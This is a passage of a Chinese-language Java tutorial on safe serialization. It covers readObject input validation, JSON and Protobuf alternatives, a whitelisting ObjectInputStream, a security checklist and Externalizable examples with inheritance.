                "非法的订单号格式: " + orderId   // 拒绝不合法的数据
            );
        }
 
        // 3. 校验 quantity：必须是正整数，且有合理上限
        if (quantity <= 0 || quantity > 10000) {
            throw new InvalidObjectException(
                "非法的数量值: " + quantity       // 防止整数溢出攻击
            );
        }
 
        // 4. 校验 price：必须为正数，且有合理范围
        if (price <= 0 || price > 1_000_000 || Double.isNaN(price) || Double.isInfinite(price)) {
            throw new InvalidObjectException(
                "非法的价格值: " + price          // 防止 NaN/Infinity 注入
            );
        }
 
        // 5. 校验 status：必须是预定义的枚举值之一
        if (!Set.of("PENDING", "PAID", "SHIPPED", "COMPLETED", "CANCELLED")
                .contains(status)) {
            throw new InvalidObjectException(
                "非法的订单状态: " + status       // 防止状态篡改
            );
        }
    }
}

// ❌ 不推荐：Java 原生序列化
ObjectOutputStream oos = new ObjectOutputStream(fileOut);
oos.writeObject(user);  // 危险：生成的字节流可被利用
 
// ✅ 推荐替代方案 1：JSON（使用 Jackson）
import com.fasterxml.jackson.databind.ObjectMapper;
 
ObjectMapper mapper = new ObjectMapper();
 
// 序列化：对象 -> JSON 字符串
String json = mapper.writeValueAsString(user);
// 输出：{"username":"admin","email":"admin@example.com"}
// JSON 是纯文本，不包含类信息，无法触发 Gadget Chain
 
// 反序列化：JSON 字符串 -> 对象（必须指定目标类型）
User restored = mapper.readValue(json, User.class);
// 明确指定了 User.class，不会加载任意类

// ✅ 推荐替代方案 2：Protocol Buffers（Google Protobuf）
// 1. 先定义 .proto 文件
// syntax = "proto3";
// message UserProto {
//     string username = 1;
//     string email = 2;
//     int32 age = 3;
// }
 
// 2. 使用生成的代码进行序列化/反序列化
UserProto user = UserProto.newBuilder()
    .setUsername("admin")           // 类型安全的 setter
    .setEmail("admin@example.com")  // 编译期检查
    .setAge(30)                     // 不存在任意类加载的风险
    .build();
 
// 序列化为字节数组（紧凑的二进制格式，非 Java 序列化）
byte[] bytes = user.toByteArray();
 
// 反序列化（只能还原为 UserProto，无法注入其他类）
UserProto restored = UserProto.parseFrom(bytes);

public class DefensiveEntity implements Serializable {
 
    // 显式声明 serialVersionUID
    // 当类结构发生安全相关变更时，主动修改此值
    // 可以使旧版本的序列化数据（包括攻击载荷）全部失效
    private static final long serialVersionUID = 20240101L;
 
    // 如果发现安全漏洞，将 serialVersionUID 改为新值：
    // private static final long serialVersionUID = 20240615L;
    // 所有基于旧版本构造的攻击载荷将无法反序列化
}

/**
 * 安全的 ObjectInputStream 实现
 * 通过重写 resolveClass 实现白名单类加载控制
 */
public class LookAheadObjectInputStream extends ObjectInputStream {
 
    // 白名单：只有这些类允许被反序列化
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.myapp.dto.UserDTO",        // 用户数据传输对象
        "com.myapp.dto.OrderDTO",       // 订单数据传输对象
        "java.lang.String",             // String 类型
        "java.lang.Integer",            // Integer 类型
        "java.lang.Long",              // Long 类型
        "java.util.ArrayList",          // ArrayList
        "java.util.HashMap"             // HashMap
    );
 
    // 构造器：传入底层输入流
    public LookAheadObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
 
    /**
     * 核心防御点：在类被加载之前进行检查
     * 这个方法在 readObject() 内部被调用
     * 如果类不在白名单中，直接抛异常，阻止类加载
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
 
        // 获取要加载的类名
        String className = desc.getName();
 
        // 检查是否在白名单中
        if (!ALLOWED_CLASSES.contains(className)) {
            // 记录安全日志——这可能是一次攻击尝试
            System.err.println(
                "[SECURITY] 拒绝反序列化未授权的类: " + className
            );
            // 抛出异常，阻止反序列化继续进行
            throw new InvalidClassException(
                "反序列化被拒绝",
                className   // 记录被拒绝的类名
            );
        }
 
        // 白名单中的类，正常加载
        return super.resolveClass(desc);
    }
}

// 使用安全的 LookAheadObjectInputStream 替代原生 ObjectInputStream
public static Object safeRead(byte[] data) throws Exception {
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
 
    // 用自定义的安全版本替代 new ObjectInputStream(bais)
    try (LookAheadObjectInputStream ois = new LookAheadObjectInputStream(bais)) {
        return ois.readObject();    // 反序列化时会自动触发白名单检查
    }
}

// ============================================
// 序列化安全编码 Checklist
// ============================================
 
// 1. [必查] 是否真的需要 Java 原生序列化？
//    -> 优先考虑 JSON / Protobuf / MessagePack
 
// 2. [必查] 如果必须使用，是否配置了 ObjectInputFilter？
//    -> JDK 9+: ois.setObjectInputFilter(...)
//    -> JDK 8:  -Djdk.serialFilter=...
 
// 3. [必查] 反序列化入口是否暴露给了不可信来源？
//    -> RMI / JMX / 自定义 Socket 是否有认证？
//    -> HTTP 接口是否有权限控制？
 
// 4. [必查] 敏感字段是否标记了 transient？
//    -> 密码、密钥、Token 等绝不能出现在字节流中
 
// 5. [必查] readObject() 中是否有输入校验？
//    -> 数值范围、字符串格式、枚举值、null 检查
 
// 6. [必查] classpath 中是否存在已知的危险 Gadget 库？
//    -> commons-collections 3.x（升级到 4.x）
//    -> commons-beanutils（升级到最新版）
//    -> spring-beans（确保版本无已知漏洞）
 
// 7. [建议] 是否启用了 RASP 或 WAF 进行运行时防护？
//    -> 如 OpenRASP、Contrast Security 等
 
// 8. [建议] 是否有安全日志记录反序列化异常？
//    -> 异常的反序列化尝试可能是攻击探测

// Externalizable 接口的源码定义
// 它继承了 Serializable，所以 Externalizable 对象也"是" Serializable 的
public interface Externalizable extends Serializable {
 
    // 你必须实现此方法：负责将对象状态写入输出流
    // 完全由你决定写哪些字段、以什么顺序写
    void writeExternal(ObjectOutput out) throws IOException;
 
    // 你必须实现此方法：负责从输入流中恢复对象状态
    // 读取的顺序和类型必须与 writeExternal 中写入的严格一致
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

import java.io.*;
 
// 实现 Externalizable 接口
public class User implements Externalizable {
 
    // 注意：虽然 Externalizable 也继承了 Serializable，
    // 但 serialVersionUID 仍然建议声明，用于版本兼容性校验
    private static final long serialVersionUID = 1L;
 
    private String name;       // 用户名——我们选择序列化它
    private int age;           // 年龄——我们选择序列化它
    private String password;   // 密码——我们选择【不】序列化它（出于安全考虑）
 
    // ★★★ 必须提供 public 无参构造器 ★★★
    // 如果缺少这个构造器，反序列化时会抛出 InvalidClassException
    public User() {
        // 反序列化时，JVM 会先调用这个构造器
        System.out.println(">>> public 无参构造器被调用");
    }
 
    // 带参构造器，方便正常业务使用
    public User(String name, int age, String password) {
        this.name = name;         // 设置用户名
        this.age = age;           // 设置年龄
        this.password = password; // 设置密码
    }
 
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        // 手动控制：只写出 name 和 age
        out.writeUTF(name);   // 以 UTF-8 编码写出字符串
        out.writeInt(age);    // 写出 int 值
        // password 故意不写——实现了比 transient 更直观的字段排除
    }
 
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        // 读取顺序必须与 writeExternal 中的写入顺序严格一致
        this.name = in.readUTF();  // 先读 name（因为先写的是 name）
        this.age = in.readInt();   // 再读 age（因为第二个写的是 age）
        // password 没有写入，所以这里也不读，它将保持默认值 null
    }
 
    @Override
    public String toString() {
        // 用于打印验证结果
        return "User{name='" + name + "', age=" + age + "', password='" + password + "'}";
    }
}

import java.io.*;
 
public class ExternalizableDemo {
    public static void main(String[] args) {
        String filePath = "user_ext.dat"; // 序列化文件路径
 
        // ========== 序列化 ==========
        User original = new User("Alice", 30, "s3cret!"); // 创建原始对象
        try (ObjectOutputStream oos =
                     new ObjectOutputStream(new FileOutputStream(filePath))) {
            oos.writeObject(original); // 内部会调用 user.writeExternal(oos)
            System.out.println("序列化完成: " + original);
        } catch (IOException e) {
            e.printStackTrace(); // 处理 IO 异常
        }
 
        // ========== 反序列化 ==========
        try (ObjectInputStream ois =
                     new ObjectInputStream(new FileInputStream(filePath))) {
            // readObject() 内部流程：
            // 1. 调用 User 的 public 无参构造器 → 打印 ">>> public 无参构造器被调用"
            // 2. 调用 user.readExternal(ois) → 填充 name 和 age
            User restored = (User) ois.readObject();
            System.out.println("反序列化完成: " + restored);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace(); // 处理异常
        }
    }
}

import java.io.*;
 
// 父类：也实现 Externalizable
public class Person implements Externalizable {
 
    private static final long serialVersionUID = 1L;
 
    protected String name; // 姓名
    protected int age;     // 年龄
 
    // ★ 父类也必须有 public 无参构造器
    public Person() {
        System.out.println(">>> Person 无参构造器");
    }
 
    public Person(String name, int age) {
        this.name = name; // 设置姓名
        this.age = age;   // 设置年龄
    }
 
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeUTF(name);  // 写出姓名
        out.writeInt(age);   // 写出年龄
    }
 
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.name = in.readUTF(); // 读取姓名
        this.age = in.readInt();  // 读取年龄
    }
}

import java.io.*;
 
// 子类：继承 Person，扩展 Employee 信息
public class Employee extends Person {
 
    private static final long serialVersionUID = 2L;
 
    private String company;  // 公司名
    private double salary;   // 薪资
 
    // ★ 子类也必须有 public 无参构造器
    public Employee() {
        // 这里会先隐式调用 super()，即 Person 的无参构造器
        System.out.println(">>> Employee 无参构造器");
    }
 
    public Employee(String name, int age, String company, double salary) {
        super(name, age);        // 调用父类构造器设置 name 和 age
        this.company = company;  // 设置公司名
        this.salary = salary;    // 设置薪资
    }
 
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        // ★★★ 关键：必须显式调用父类的 writeExternal ★★★
        // 如果忘记这一步，父类的 name 和 age 将不会被写入
        super.writeExternal(out);
        out.writeUTF(company);     // 写出公司名
        out.writeDouble(salary);   // 写出薪资
    }
 
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        // ★★★ 关键：必须显式调用父类的 readExternal ★★★
        // 读取顺序必须与写入顺序一致：先父类字段，再子类字段
        super.readExternal(in);
        this.company = in.readUTF();    // 读取公司名
        this.salary = in.readDouble();  // 读取薪资
    }
 
    @Override
    public String toString() {
        return "Employee{name='" + name + "', age=" + age
                + ", company='" + company + "', salary=" + salary + "}";
    }
}